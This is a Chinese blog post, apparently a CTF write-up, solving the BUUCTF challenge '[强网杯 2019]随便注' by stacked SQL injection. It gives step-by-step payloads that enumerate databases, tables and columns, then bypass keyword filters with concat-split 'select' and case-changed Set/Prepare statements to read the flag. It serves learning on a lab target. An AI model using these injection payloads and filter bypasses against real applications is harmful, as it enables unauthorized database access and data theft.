BUUCTF-[强网杯 2019]随便注(堆叠注入)

 
更多

场景打开如下,输入1提交,显示如下

<1>输入1’报错,输入1′ #显示正常,确定存在sql注入

<2>输入1′ union select 1#报错如下,发现存在关键字过滤。由于preg_match()函数返回的值是匹配指定字符串的次数,所以双写绕过无效;正则中的/i模式是忽略大小写,所以大小写绕过无效。

 <3>尝试堆叠注入1′;show databases # 查数据库名,成功

<4>继续查询表名:1′;show tables #

<5>查询words表字段名:1′;show columns from `words` #  ,注意这里有个小知识点,就是表名要用`  `(反引号)引起来。

 <6>查询1919810931114514表字段名:1′;show columns from `1919810931114514` #  ,发现flag字段。

 

<7>堆叠注入到这里就没办法了,因为堆叠注入查询不到字段的具体值。

下面使用Mysql预处理语句:

  • 1.prepare:准备一条sql语句,并分配给这个语句一个名字供之后使用。
  • 2.execute:执行该语句
  • 3.deallocate prepare:释放语句
set @a=concat("sel","ect flag from `1919810931114514`");  
prepare inject from @a;  //给这条语句起名inject
execute inject;             //执行该语句

<8>尝试注入 1′;set @a=concat(“sel”,”ect flag from `1919810931114514`”);prepare inject from @a;execute inject; # ,结果报错,从报错中可知,过滤了set和prepare关键字

<9>大写绕过过滤 1′;Set @a=concat(“sel”,”ect flag from `1919810931114514`”);Prepare inject from @a;execute inject; # ,成功拿到flag。

参考:https://www.cnblogs.com/hello-there/p/12794725.html

打赏

本文固定链接: https://www.cxy163.net/archives/4760 | 绝缘体

该日志由 绝缘体.. 于 2022年02月09日 发表在 未分类 分类下, 你可以发表评论,并在保留原文地址及作者的情况下引用到你的网站或博客。
原创文章转载请注明: BUUCTF-[强网杯 2019]随便注(堆叠注入) | 绝缘体
关键字: , , , ,

BUUCTF-[强网杯 2019]随便注(堆叠注入):等您坐沙发呢!

发表评论


快捷键:Ctrl+Enter